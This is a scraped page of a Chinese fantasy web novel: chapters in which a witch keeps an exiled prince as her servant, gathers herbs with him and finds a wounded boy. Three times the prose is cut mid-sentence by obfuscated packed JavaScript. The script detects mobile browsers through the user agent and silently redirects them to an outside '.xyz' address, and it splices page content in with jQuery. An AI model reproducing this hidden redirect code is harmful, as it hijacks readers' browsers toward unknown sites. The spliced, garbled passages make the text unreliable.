RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626449|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉保证能让莱克斯找不到办法成功离开黑暗森林。 见莱克斯嘴唇微微开合似乎想说点什么,梅拉赶紧提前打断他,“难道你觉得我对你的救命之恩不值得你当仆人来报答我吗?” 莱克斯怎么也没法说出不值得这个词。 这就对了,看莱克斯沉默,梅拉继续加大力度劝道,“何况只是五年而已,到时候你也才十七岁,还很年轻,不是吗?” “……好。”莱克斯终究还是答应了下来,不为别的,就为梅拉切切实实救了他一命。 是梅拉给了他回去复仇的机会。 若是这条命都没了,还谈什么复仇呢? 不过,莱克斯重新提出了另一个请求,“我希望您可以为我的骑士长占卜一下他的安危,如果他现在是安全的,那真是再好不过了。” 切尔各的事情同样沉甸甸地挂在莱克斯的心头,现在有机会得知他的情况,莱克斯没道理就这么放过。 “可以啊,”这回梅拉没有回绝莱克斯的请求,她眨了眨眼,语音含笑,“只不过代价是你要给我多当一年仆人。怎么样,很划算吧?” “当然,如果你不愿意,可以拒绝。”想了想,梅拉又补充道,她从来不强买强卖。 莱克斯想也不想的点头同意了,“好。” 不管怎么说,切尔各都是为了他才身陷险境,作为切尔各效忠的对象,莱克斯无论如何都不能就这么放任他下落不明。 如果,如果切尔各已经不幸沦落到了最糟糕的情况,莱克斯眸色一暗,他也有必要在回到王都之前为他收敛骸骨,送还家乡。 这是一位忠心的骑士死后应得的体面。 “既然你同意了,那就让我来看看吧。” 梅拉使唤莱克斯从柜子上取下她的水晶球,对,就是看起来平平无奇,里头蒙着层层灰絮似的那个玩意儿。 拿到水晶球后,梅拉将其放到膝盖上,用手在上面轻轻一抹,水晶球内的灰絮顿时变化成一阵迷幻的烟雾。 “你的骑士长叫什么名字?”梅拉问道。 “切尔各,切尔各·弗霍斯特。”莱克斯答道。 “切尔各·弗霍斯特,王子莱克斯·努伦格尔忠诚的骑士,你如今是否平安呢?”梅拉对着水晶球喃喃。 随着她的话音落下,烟雾迅速弥漫开来,构成梅拉才能解答的图案。 梅拉定定看了烟雾好一会儿,才为莱克斯解释其中的寓意,“水晶球告诉我切尔各如今很安全,并且离我们的距离很近……在我们的东南方向,大概一百里内。” 听到切尔各如今很安全,莱克斯总算松了口气,至于去找他,如果没有刚才和女巫的约定,莱克斯一定会动这个心思。 但是现在,莱克斯暗地里叹了口气,他相信切尔各哪怕找不到他,也会回到王城把他们的遭遇告知斐南基,给斐南基留个底。 之后斐南基怎么打算,那就是他的事了。 说不定会被继王后拉拢过去呢。 莱克斯露出一个苦笑,这也是没办法的事,他既然回不去,势必无法阻拦他的弟弟被立为新的王储,总不能让斐南基在这种情况下还与继王后和新王储对着干——他是王国的宰相,不是莱克斯的家臣。 “对了,记得把你手里的药剂给喝了。”梅拉看到莱克斯手里的药剂,突然提醒道。 她还没歇了要在莱克斯身上赚一笔的心思。 “可我现在没有足够的钱能用来买下这瓶药剂。”莱克斯难得的不知所措起来。 “没关系,你先欠着,等你回到王宫,这点钱算什么。”梅拉笑眯眯的,“还不收你利息喔。” 然而莱克斯很想说,梅拉浑身上下都充斥着比收利息还要可怕的气息。 只不过人在屋檐下,不得不低头,莱克斯老老实实地背上了这门债务。 体验十分新奇,就好像往面包里抹的不是果酱而是辣椒,即使呛出了眼泪也不得不咽下去的感觉。 7. 第 7 章 “咳咳。”莱克斯被厚重书页上的积灰呛到了。 难怪刚刚梅拉要求莱克斯带着掸子下来打扫地下室时,塞拉斯露出了格外微妙的眼神。 像同情,又像是庆幸自己逃过一劫。 “地下室在哪?”莱克斯拿好了工具,一把毛掸子,就放在他睡觉的毯子附近。 在这座小木屋里,毛掸子不仅是个非常实用的清洁工具,偶尔还能防身。比如在塞拉斯因为惹恼梅拉而慌不择路地到处乱飞的时候,莱克斯可以举起毛掸子,防止塞拉斯扑到自己身上。 尽管塞拉斯对此非常有怨言,它用翅膀扶着晕乎乎的脑袋,强烈要求梅拉收回莱克斯的毛掸子。 梅拉捂住耳朵假装听不见塞拉斯的抱怨。 气得塞拉斯飞过来扒拉她的手,非要在她耳边吵吵。 “好啦好啦,莱克斯又不像你一样有翅膀可以用来干活,把毛掸子给他怎么了?”梅拉只好假模假样地安抚了塞拉斯两句,还顺着它背上的毛摸了又摸。 塞拉斯一听,也觉得梅拉说得确实很有道理,毕竟它身为鸟类,平时最得意的就数这一双能自由翱翔的翅膀了。 与它一比,没有翅膀的莱克斯是多么可怜啊。 旁观了梅拉是怎么忽悠好塞拉斯的莱克斯:“……” 算了,他不和一只乌鸦计较。 “喏,把这些食物搬开,就能看见地下室的木门了。”塞拉斯扑簌簌扇动翅膀飞起来,落在一旁的柜子上,朝平时堆放食物的地方抬了抬下巴。 莱克斯把装着食物的布袋子搬开,果然看到了一扇与周围的木头地板几乎融为一体的木门,以及上头紧贴着门扉,外表已经有些生锈了的圆形拉环。 莱克斯拽住拉环使劲,随着刺耳的嘎吱一声,木门掀开,露出了一条直直地延伸向下的通道。 借助身后打来的光线,莱克斯能够看到地下室挖的并不算很深,估摸着刚好能容纳梅拉的身高,他亲自走下来,离碰到顶更是还有大半个脑袋的差距。 只不过因为地下室里堆的书太多,导致莱克斯连下脚的地方都少得可怜,他只好拎着掸子,小心翼翼地钻入垒得高高的书山之中。 结果莱克斯只是一个不经意的抬手,一摞本就摇摇欲坠的书顿时噼里啪啦的劈头盖脸砸了下来。 莱克斯连忙蹲下身想把书捡起来,紧接着又是一阵噼里啪啦的响声。 莱克斯:“……” 地下室的出口处飘来梅拉的声音,“怎么那么大动静?是不是把书弄倒了?你小心点,那可都是我珍藏多年的书!如果弄坏了一本,小心你的债务。” 又来了,自从发现莱克斯不会与她讨价还价之后,梅拉已经往莱克斯身上加了不知道多少笔冤债。 虽然莱克斯自信回到王宫后能轻易付清这笔债务,但他也受不了梅拉拿自己当冤大头坑钱。 再说了,梅拉平时卖药剂的时候难道少赚了吗?这个抠门又奸诈的女巫,从没有卖出过定价低于一枚银币的药剂。 莱克斯捏着掸子的手紧了又紧,最后小心再小心地放慢动作,把掉在地上的书擂成了一座新的小山。 中途,莱克斯随意地看了一眼手上红色封皮的书,书名是《一千种植物的辨别与炼制方法》。 莱克斯随即又捡起了另一本书,黑色的封皮上用烫金勾勒出优雅的字体,《如何理解星象的寓意与指引》。 其它的还有诸如《诅咒的一百种仪式》、《最实用的一千种咒语》,莱克斯露出若有所思的表情,看来这整个地下室的书都与女巫有关,那梅拉能拥有这么多的书也就不奇怪了。 要知道这年头的书发行量极少,又因为售价昂贵,基本都摆在贵族的书架上。 因此拥有越是丰富的藏书,越能代表一个家族的底蕴。 王国的拜亚德伯爵之所以出名,就是因为他的庄园之中有一间藏书数量仅次于王宫的藏书室。 尽管莱克斯可以肯定,拜亚德伯爵本人十有八九并没有把家里的藏书读完,只是个伪装出来的花架子。 但不妨碍拜亚德伯爵靠着故作高深的姿态在社交场中无往不利,吸引过不少人的注意。 其中就包括莱克斯被养得天真单纯、不谙世事的姑姑纳伊芙公主。 想到这对时不时就要闹出点笑话的夫妇,莱克斯面无表情地继续拿着掸子拂去书页上的积灰。 也就是纳伊芙公主的存在,让小小的莱克斯坚定了念头,未来的王后可以于美貌上稍逊一筹,但决不能是个没读过书的女人。 * “梅拉,你就这么放心让莱克斯到地下室去吗?那里头放着的可全是你花大价钱弄来的书,上面记载的全是与女巫相关的知识,万一不小心让他看到了该怎么办?” 塞拉斯落到摇椅的扶手上,歪着脑袋问正弯腰清点材料的梅拉。 由于在前一天晚上经过梳洗和打理,梅拉那头红色的卷发总算不是乱糟糟的披在身后了,现在是整齐地披在身后。 只不过随着梅拉的动作,它们连同白色的蕾丝披肩一起,差点就要掉到地上去了。 之所以说是差点,是因为塞拉斯十分有眼色地冲过来,及时叼起了梅拉的发尾,还把披肩一起扯回了原位。 “随他看去好了,你以为每个看了书上内容的人都能像我一样从一个普通人变成女巫吗?你是不是太小瞧你的主人我了?” 梅拉直起腰,抱臂盯着塞拉斯,直把它盯得疯狂摇头。 “怎么会,梅拉是世界上最最聪明的女巫,没有任何人能比得过梅拉!”塞拉斯刻意加重语气强调道,生怕梅拉不相信它的话。 梅拉轻哼一声,虽然在教会的宣传之中,女巫都是一生下来就自带罪恶的魔力,但其实也有像梅拉这样后天成为女巫的例子,只不过数量极其稀少罢了。 除了需要一颗极其聪明的脑袋,还需要拥有超乎寻常的领悟力。 打个比方来说,就好像有人觉得只要学会了相关的草药知识,再侥幸得到一张女巫的药剂秘方,就能炼制出一瓶相应的魔药。 ——怎么可能!那岂不是人人都能成为女巫了? 实际上,每个女巫的药剂秘方都是不同的。 追根究底,魔药其实是女巫利用草药混合魔力炼制出的奇迹,对于药剂的理解才是促使药水生效的本源,因此换另一位女巫来制作变形药剂,她绝不可能采用与梅拉一模一样的材料与剂量。 像《最常见的魔药介绍与炼制心得》中就写过,变形药剂要使用蜥蜴的皮肤,这是利用了蜥蜴改变皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626450|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肤颜色的特性,但梅拉却把蜥蜴皮肤改成了魔芥兰的茎。 魔芥兰是一种凶名赫赫的植物,靠近它的无论人还是动物,最终都会被它吸血而亡。 但魔芥兰本身从根茎到花朵都充斥着极其浓艳的紫色,按理来说应该非常显眼才对,只要多加小心,不可能会中招。 可魔芥兰就是能一而再再而三的成功捕获猎物,从数百年前繁衍至今,要知道有些记录在册的植物在此期间都灭绝了。 所以梅拉觉得,这种隐藏长相的能力正是变形药剂所需要的效果。 于是梅拉采来一篮子的魔芥兰,配合其它材料,亲手炼制出了第一瓶变形药剂,拥有了独属于她的变形药剂秘方。 诚然书上记录了许多来自其她女巫前辈们的智慧,但如果仅仅只是照搬书上的内容,顶多成为一名出色的药师,绝不可能成为一位伟大的女巫。 像梅拉这样的例子,连不怀好意带她入门的女巫都说,也许几百年里就出了她这一个。 “这世界上的大多数人都被规矩教坏了,尤其是那些可爱的姑娘们,她们为了更好地生存下去,不得不压抑自己的天性,用教条将自己束缚成一个无趣、庸俗的女人。” “只有同样可爱的小女巫们,一出生就经受女巫长辈们的熏陶,自由地生长成了自己喜欢的样子。” 女人的红唇张合,吐出堪称刻薄的话语。 接着她看向在她面前靠着树,捧着书看得津津有味的梅拉,“你是我见过的最不守规矩的小姑娘。” “噢是吗?我还挺喜欢自己这样的。”闻言,梅拉眼睛都懒得抬,她的目光已经被书上的内容迷住了。 随着梅拉正式成为一名女巫,女人给她带来了不少新的书,上面写满了有关星象、预言、诅咒之类只有女巫才会研究的东西,简直像永远挖不完的宝矿,让梅拉恨不得时间过得慢些,再慢些,这样她就能再多看两页了。 梅拉翻过一页书,“说起来,我曾经以为只有拥有魔力的女人才能成为女巫。” “现在你知道了,那不过是吟游诗人的臆测。不是只有拥有魔力的人才能成为女巫,而是当你成为女巫,你就拥有了连教会都觊觎的魔力。”女人漫不经心的答道。 * 莱克斯从地下室里出来的时候,夕阳的余晖透过敞开的门窗在小木屋中洒了一地,而梅拉就与塞拉斯一起坐在门口,享受橙色的余温。 听到声音,梅拉转过头来,手上还揪着编到一半的辫子。 “要不要一起来晒夕阳?”梅拉向莱克斯发出邀请。 莱克斯默了片刻,他总是能从梅拉嘴里听到类似这样不合常理的事情,正常人如果想晒太阳,也是挑下午烧得正旺的太阳,哪有挑夕阳的。 莱克斯走到梅拉身边,多年学习的宫廷礼仪让他绝不可能像梅拉一样毫不讲究地坐在地上,起码要搬一把椅子来。 如果没有椅子,那他宁可像现在这样站着。 “怎么样?夕阳晒在身上是不是很温柔?并不刺目的光线、也几乎感受不到仿佛被烧着一样的热度。”梅拉美滋滋地抬头,和第一次晒夕阳的莱克斯分享她的心得。 莱克斯的心底忽然一动,那双幽绿的眼眸染上颜色鲜亮的光晖,倒确实显得格外温柔。 8. 第 8 章 书上说,珍珠草喜欢生长在湿润的环境,一般都能在河边找到它们的踪迹。 只不过五月份的珍珠草还没开始结果,看起来和普通的水草没有多少区别,最好等到六月,一粒粒米粒大小的果实会在阳光下闪耀着珍珠般的光泽,轻而易举的从一众水草中脱颖而出。 只不过梅拉等不到六月了,她要的就是还没开始结果的珍珠草。 因此一大早,爱睡懒觉的梅拉就精神抖擞地打算出门了。 往常一般是塞拉斯陪在梅拉身边,但这不是有了莱克斯,塞拉斯便被梅拉留下来看家了。 塞拉斯不满地发出连连抗议:“坏梅拉!坏梅拉!为什么有了莱克斯就抛弃塞拉斯?为什么不让莱克斯留下来看家?” “因为莱克斯可以帮我一起采摘珍珠草。”梅拉理直气壮地摊手,反驳塞拉斯对她偏心的指责。 有莱克斯在,梅拉能省下不少功夫,而塞拉斯除了能在一旁给她加油打气之外还能做什么? “呜……梅拉好现实,塞拉斯好伤心,塞拉斯要离家出走……”塞拉斯拿翅膀擦了擦眼睛,发出惟妙惟肖的呜咽声,实际上黑豆似的眼珠子不停地滴溜乱转,一看就知道在打别的主意。 “说吧,我该怎么做才能让塞拉斯开心?”梅拉虽然看破了塞拉斯的小心思,但还是宽容地给了它得寸进尺的机会。 “很简单,只要买一斤南瓜饼给塞拉斯就行。”话是这么说,塞拉斯的翅膀仍然停在脸上,大有梅拉不答应它就继续装模作样哭下去的架势。 “半斤,没得商量。”梅拉竖起食指,在塞拉斯面前晃了晃,表明了她坚决的态度。 别看塞拉斯这会儿仿佛狮子大开口,一下就要了一斤南瓜饼,实际上它作为正常乌鸦大小时的胃口也就那么点大,真给它买回来一斤南瓜饼,它能藏在窝里放到发霉为止。 没错,塞拉斯其实并不像莱克斯以为的那样只有一根栖杆可以用来休息,它还有个常年丢在尖角屋顶上的窝,只不过那是塞拉斯藏宝贝的地方。 路上长得漂亮的小花、河岸边亮闪闪的石头,总之只要被塞拉斯看上了,它就会叼回窝里放着。 放这些不会发霉的东西也就算了,梅拉绝不容许某一天在屋顶上看到突然冒头的菌丝。 “好吧好吧,塞拉斯答应了。”塞拉斯故作为难地点头,实际上已经在心里笑开了花。 莱克斯说的没错,想要一样东西的时候,可以先把要求提高,能得到全部最好,不能的话只有一半的分量也行,反正它原本想要的也不过只是这一半而已。 这回轮到梅拉感到奇怪了,塞拉斯居然不和她讨价还价了? 梅拉不由得狐疑地多看了塞拉斯两眼,试图看出它是否藏着额外的阴谋。 塞拉斯让梅拉看得格外不自在,生怕它的计划泡汤,只好清清嗓子,催促两人快点出发,它保证会好好看家的。 “你有没有觉得刚刚塞拉斯有点奇怪?”路上,梅拉越想越不对劲,便扭头问一旁的莱克斯。 “有吗?我不知道。”莱克斯摇头。 “你不知道吗?可我看你最近和塞拉斯不是相处得挺好的,动不动就要凑到一起,我还以为你们背着我说了不少悄悄话呢。”梅拉挑眉,听上去早有怀疑。 “一些无关紧要的闲话罢了,塞拉斯说它好不容易能找到一个人陪它聊聊天,我不忍心拒绝它。” 莱克斯镇定地与梅拉对视了半分钟,塞拉斯说了,不要被梅拉的话吓到,她大概率也是在诈你呢。 果然,梅拉先一步心虚地移开了视线。 她那么忙,哪有空天天陪宠物聊天,偏偏塞拉斯是只喜欢聒噪的乌鸦,如果有人愿意陪它聊天,它一年说的话都够编一本词典了。 既然梅拉不打算继续追究,这件事也就这么翻篇了。 不对,还没翻篇,“回去后记得提醒我给杜克瓦托写信,拜托他从村子里买一斤南瓜饼带过来。” “不是半斤吗?”莱克斯不解。 “剩下半斤当然是我和你的份啊。”梅拉理所当然地答。 都是小木屋的一份子,哪有让塞拉斯吃独食的道理。 “……不用了,我不爱吃南瓜饼。” “怎么?你嫌弃它是平民才吃的食物?” 梅拉停下来,叉着腰,打算好好教育一下这个不谙世事的小王子。 “你知道一块加了糖的南瓜饼有多贵吗?足足十二枚铜币!是一块黑麦面包的三倍,你居然还嫌弃它?别忘了你现在一枚铜币都掏不出来。” “希望你明白,挑剔食物是可耻的行为,任何一碗粥都有与一块蛋糕同等的价值,也就是填饱你肚子的价值,殿下。”教育到最后,梅拉嘴里冒出了针对莱克斯阴阳怪气的称呼。 见到梅拉皱起眉头不赞同地盯着他,莱克斯很想说他并不是这个意思,但他最终还是选择了沉默。 实际上,莱克斯六岁之后就再也不碰这类软乎乎甜腻腻的食物了,在他看来,只有无忧无虑的小孩子才会喜欢吃这种东西,而他是将来要背负起整个王国兴衰的王储,刻意地追求甜蜜的体验是堕落的、软弱的行为。 然而莱克斯的沉默给了梅拉一个错误的信号,还以为他是被自己说服了。 如果不是担心吃太多南瓜饼会发胖,她才不愿意和莱克斯分享,结果他竟然还敢挑剔,可恶! 梅拉决定要把原本分给莱克斯的南瓜饼减少两个,就当是对他挑剔食物的惩罚了。 到时候就算莱克斯尝到杜克瓦托买来的南瓜饼有多么好吃,还想再吃两个,梅拉也不会心软的,还要义正言辞地拒绝他,让他为今日的举动后悔。 * 在小木屋的西南方向,有一条大约半米宽的河流。 清澈的河水从望不到尽头的远处一路淙淙流到几只看上去才刚刚成年的梅花鹿面前,它们倒是算得上警惕,当同伴埋头喝水时,总有一只梅花鹿抻着脖子四处张望,提防有可能突然跳出来的敌人。 梅拉带着莱克斯来到附近,负责戒备的那只梅花鹿立刻投来视线,发现其中一个人是有着红头发的女巫后,它淡定地扭头,一点也没有要呼唤同伴离开的意思。 “它们不怕你?”莱克斯没有错过这一幕。 “它们为什么要怕我?”梅拉对莱克斯的疑问感到莫名其妙,搞得她好像是黑暗森林的一大恶霸,不管什么动物见了她都会被吓得绕道走一样。 “我又不会随便吃了它们,也不会剥它们的皮毛下来当毯子盖。” 话说到一半,梅拉突然想起她昨晚上刚拿出来作为晚餐的鹿肉肉干,“……肉干是杜克瓦托送来的,和我没关系。你想想,如果我和塞拉斯会制作肉干的话,怎么会需要天天煮土豆和蘑菇汤来饱腹。” 不得不承认梅拉举出的理由很有说服力,莱克斯初来乍到那几天,从早到晚都是土豆土豆土豆,蘑菇蘑菇蘑菇,吃得他脸都快绿了。 当时莱克斯还想不明白,一般人或许会缺肉吃,但鼎鼎大名的女巫为什么也会缺肉吃?也许女巫就是喜欢吃素吧。 想到自己很快就要离开,莱克斯什么也没说,就这么忍了下来。 但确定自己还要再在这里呆六年后,莱克斯忍不住了,主动问梅拉能不能做点别的食物。 闻言,梅拉单手握拳,放到唇边清了清嗓子,尴尬地坦白了她的厨艺并不好,而塞拉斯的厨艺只能支持它煮土豆和蘑菇,如果莱克斯想吃点别的,不如亲自动手。 莱克斯沉默了。 他堂堂的王储殿下,难道厨艺能比梅拉或塞拉斯好吗? 那没办法了,不然今晚他们吃水煮青豆好了。梅拉提议到。 ……看来还是让他接过烹饪的重任,从零开始学习如何制作料理好了。莱克斯妥协了。 反正已经成为梅拉名义上的仆人,学习这种上不得台面的技能也就算不得什么了。 听到终于有人愿意拯救她们的餐桌了,梅拉兴冲冲地找出贮藏起来的肉类、香料、调味品等物,供莱克斯一一尝试。 这时莱克斯才发现梅拉居然拥有非常多的香料,譬如肉豆蔻、丁香、月桂叶……要知道香料的价格堪比黄金,一般来说只有贵族才买得起。 对平民们来说,只要能在食物里放一点盐,他们就高兴得不得了了。 “因为香料也是大量运用于炼制药剂的材料啊。” 面对莱克斯的疑惑,梅拉从罐子里捻起一片晒干了水分的月桂叶。 “月桂叶是非常实用的一种香料。比如三片月桂叶可以制作能够迷惑心神的迷神药剂,九片月桂叶则能制作让人的精神放松下来的安定药剂。对了,你要是夜里睡不好,可以找我做一瓶安定药剂,诚惠三枚金币。” 梅拉又想起了她的赚钱计划,只要一找到机会,就开始向莱克斯安利。 莱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626451|172386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克斯想也不想直接拒绝了梅拉的“好意”,“不用了,我夜里睡得挺好的。” 用不着为本就存在的负债雪上加霜。 哪怕是重新回到王宫,不缺这点金币的王储殿下也不打算白白给女巫送钱。 莱克斯只是有钱,但他不是傻子。 “好吧,那把你的手伸出来。”梅拉没有推销出去药剂也不气馁。 莱克斯虽然不知道梅拉打算做什么,但还是依言伸出了手。 梅拉便把这片月桂叶轻轻地放到了莱克斯的掌心。 修剪得圆钝的指甲尖端也仿佛蜻蜓点水一般划过莱克斯的掌心,激起一阵细微的痒意,让莱克斯忍不住想缩回手。 梅拉不喜欢往指甲上染色,白里透粉的颜色看起来过于朴素,却透露着健康的感觉。 像一枚枚莹润的粉贝。 “鉴于你是第一次尝试,只用一片月桂叶就够了,再多浪费一片我会心疼的。”梅拉郑重其事地同莱克斯道。 毕竟香料的价格确实很贵。 她黑心,不是,好心贩卖药剂赚来的钱,不是花在买书就是花在买这些香料上了,所以莱克斯能理解她的,对吧? 不理解的莱克斯:“……” 莱克斯简直满头黑线,果然是抠门的梅拉没错了。 * “喂,你在想什么?”梅拉注意到莱克斯的眼神发飘,似乎在走神,语气顿时变得极为危险。 拜托,伟大的女巫梅拉刚刚可是在给他讲解该如何分辨未结果时的珍珠草与普通水草,结果莱克斯居然走神了? 这岂不是在说她讲的内容毫无吸引力? 梅拉暗地里磨了磨牙,平复了一下气急败坏的心情,换做别的小女巫,肯定巴不得听她讲这些,她才不跟没有天分的莱克斯计较。 “你把我刚才讲的东西都复述一遍。”梅拉不满地道。 莱克斯自觉刚才的走神惹怒了梅拉,不敢有一点犹豫,低眉顺眼地按照梅拉的要求把她刚才讲的内容复述了一遍: “珍珠草喜欢藏在普通的水草中,还会贴着水草假装它们是一体的,所以在采集的时候需要一根根水草进行鉴别,检查它们的厚度是否有区别。” “检查出珍珠草后,要用最轻的力道从顶端把它与水草撕开,避免伤害它还没完全发育好的叶苞。” 说的没错,看来刚刚是有把她的话听进去。 梅拉的表情有所和缓,接着把她原本想讲的知识讲完,“等珍珠草开始结果,它的叶苞会自动从叶片上垂落。到时候把叶苞捏开,就能从里面挤出十几粒米粒大小的珍珠果。” “一株珍珠草只会长四到五个叶苞,一旦有一个叶苞受创,接下来这个叶苞一粒珍珠果都结不出来,所以你待会儿采集的时候一定要小心,明白吗?” 梅拉如此大费周章,专门赶在这个时候带着莱克斯来采集珍珠草,就是为了之后能多得点珍珠果,她有很重要的药剂需要用到大量的珍珠果。 为了增加珍珠果的产量,梅拉还提前炼制了不少生长药剂,少得到一粒珍珠果,都要连带算上相应浪费掉的生长药水,算下来完全是亏本买卖。 因此梅拉郑重地吩咐了莱克斯好几遍,才手一挥,示意他可以去干活了。 梅拉与莱克斯两人分工,这边交给莱克斯,梅拉则去到对岸。 论采集的速度,当然是梅拉更快,毕竟以她锻炼了这么多年的眼力,一眼就能辨认出哪株水草的厚度不一样,几乎是眼也不眨,唰唰唰的就把采下来的珍珠草往篮子里放。 没一会儿梅拉手里的篮子就满了。 莱克斯则要慢一些,他得好好地摩挲一会儿,确认手里的这株水草更厚,再小心翼翼地找到尖端那一线缝隙,分开珍珠草与普通的水草,最后才摘下来放到篮子里。 “梅拉。”莱克斯突然出声。 对岸的梅拉听到声音,直起腰,冒出一个脑袋,“怎么了?” “我这边的水里,有血。”莱克斯镇定地道。 也就是因为河水太过清澈,才导致那一缕浅淡的血丝如此明显地从莱克斯指间流过,引起了他的注意。 血?好端端的怎么会有血呢? 梅拉往上游的方向看去,忽然冒出了一个念头: “走,我们去看看究竟是怎么一回事。” 若是动物受伤了还好,就怕受伤的是误闯入黑暗森林里的人。 9. 第 9 章 河流的上游通往森林的更深处,这里的树木更加粗壮挺拔,枝条也生长得更加繁茂,只见一叶压着一叶,叶片之间挨挨挤挤,不给光亮的流入留下一丝缝隙。 如果不是有梅拉的带领,莱克斯未必会主动踏入这片看起来气氛阴森又压抑的区域。 总觉得一踏进来,就会被什么不好的东西盯上似的。 “你怎么停下来了?”梅拉走了一会儿,发现莱克斯没跟上来,奇怪地回头。 “……没什么。”莱克斯停顿片刻,还是没把刚才的异样说出来。 就在刚刚,莱克斯突然觉得自己像被某双眼睛锁定了似的,无论他怎么走,哪怕不经意地改换位置,走到梅拉的前面,都没能摆脱被注视的感觉。 不知道梅拉有没有这种感觉? 莱克斯放慢了脚步,似乎在等梅拉跟上,实则偷偷地打量了一眼梅拉的表情,看起来被盯上的应该只有他一个,否则梅拉的表情不可能如此平静。 察觉到莱克斯的视线,梅拉疑惑地拍了拍他的脑袋,没什么力气,是她惯常拍塞拉斯的力道。 因为莱克斯才十二岁,尚未开始抽条的缘故,身高只到梅拉的胸口,拍脑袋的动作对梅拉来说简直再顺手不过。 “看什么呢?”梅拉问。 这回莱克斯若是再说没看什么,估计梅拉也不会信,他干脆指着河里迅速飘过的一缕淡粉色,移开梅拉的注意力,“河里又出现了血迹。” “那说明我们找的方向很对。”梅拉顺着莱克斯手指的方向,也捕捉到了那抹淡粉色血迹的尾巴。 “从颜色上来看,或许血迹的主人快撑不住了。”莱克斯沉吟道。 有可能等他们赶到,只能看到一具新鲜的尸体。 “接着走吧。”梅拉没说什么,加快了前进的速度,她的靴子踩过成堆的落叶,接连发出嘎吱的脆响。 虽然现在离秋天尚有一段距离,但一根枝条上能供给叶子生长的位置就这么多,抢不过同伴的叶子只好扑簌簌落到地面,重新成为母树生长的养料。 行走其中,莱克斯隐隐闻到了若有若无的腐烂味道。 他拧起眉头,不动声色地用眼角的余光打量四周。 随着莱克斯和梅拉越来越深入这片区域的腹地,周围的树木肉眼可见地更加挺拔高大,拥有足足需要好几名成年男人才能合力环抱住树干,在这样的环境中,想要隐藏起自己的身形再容易不过。 所以莱克斯鼓动梅拉加快脚步,试图让那双眼睛的主人在匆忙间露出破绽,然而不知他是太过警惕,还是对莱克斯失去了兴趣,总之莱克斯能感觉到自己身上那道如影随形的视线消失了。 往好处想,或许只是路过的野兽呢? 莱克斯收回视线,装作若无其事的样子,追着梅拉跑了起来。 在莱克斯走神的功夫,梅拉率先瞧到了不远处躺在河边上的一道人影。 梅拉下意识跑起来,先一步来到了这人身边。 这竟然是一个孩子,年纪大概八九岁,脸上带着些许婴儿肥,鼻头附近还长着一点点雀斑。 大概是因为昏迷了太久,加上手上的伤口不断失血,男孩的脸色异常苍白,梅拉一连叫了他好几声,都没能得到半点回应。 “他还有呼吸,只不过很微弱了。”落后一步跟上来的莱克斯蹲下身,伸手探了探男孩的鼻息,再看了眼他几乎失去了起伏的胸膛,心中顿时有了判断:这男孩大概很难被救过来了。 也不知道这么小的孩子怎么会冒险闯入黑暗森林如此危险的地方。 看男孩的衣着,大概家中小有资产,或许进来时随身带了不少仆人,但目前只有他一人躺在河边,大概那些仆人要么在遇到危险时抛下了他,要么已经丧命了吧。 莱克斯又看了看男孩身上破破烂烂的衣服,“这些都是被利齿撕咬出的痕迹,如果我没猜错的话,他应该是闯入黑暗森林后被某种野兽给盯上了。” 只是不知道那野兽为什么攻击在攻击完男孩后没有选择吃掉他,而是就这么抛下他离开了。 这算是幸运,还算是不幸呢? 莱克斯的目光重新落到了男孩垂在河水中的大半条手臂。 幸运的话,他就不会遇上野兽袭击,更不会被撕咬出这么多的伤痕,以至于失血昏迷在了河边。 但他如果不够幸运,就不可能留下一口气,又恰好倒在河边,导致血迹从上游飘下来,被莱克斯与梅拉发现。 至少等他最后一点生机消散后,莱克斯会帮他葬入地下,以免之后被别的野兽饱餐一顿,连完整的尸身都留不下来。 只不过,如果要挖个坑把他埋了,莱克斯还缺把铲子。 “要铲子干什么?既然留了口气,这不是还有救吗?”梅拉懒洋洋地使唤莱克斯,“你把他背起来,一起回小木屋,给他喝一瓶治愈药剂应该就能恢复过来了。” “治愈药剂竟然连这样的伤势都能救过来吗?”不是莱克斯怀疑梅拉制作的药剂,而是就算教会的红衣主教亲临,也只能对着只剩一口气的男孩摇头说自己救不了。 他随时都会投入死神的怀抱。 “别的女巫制作出来的治愈药剂有没有这个效果我不知道,但我制作的药剂,绝对能救他一命。”梅拉挑眉,信誓旦旦地道。 就算是为了见证梅拉所说的药效,莱克斯也要把人背回小木屋去。 好在对方只是一个八九岁的男孩,莱克斯轻轻松松就把人背了起来,同梅拉一路回到了小木屋。 * 塞拉斯原本在屋子里耐心地等外出的梅拉和莱克斯回来。 结果等啊等,等到夕阳都出来了,还没见到这两人的人影。 塞拉斯等得不耐烦了,它飞出来,绕着小木屋不停打转。 过了会儿,塞拉斯觉得这不是个办法,又飞到了屋顶上,尝试在眺望中找到熟悉的红发。 嘿,还真让塞拉斯看到了正朝着小木屋方向走来的梅拉。 虽然没找到莱克斯的身影,但森林的树木那么茂密,莱克斯又是个还没发育的小鬼,塞拉斯找不到他也很正常,反正他肯定跟在梅拉附近。 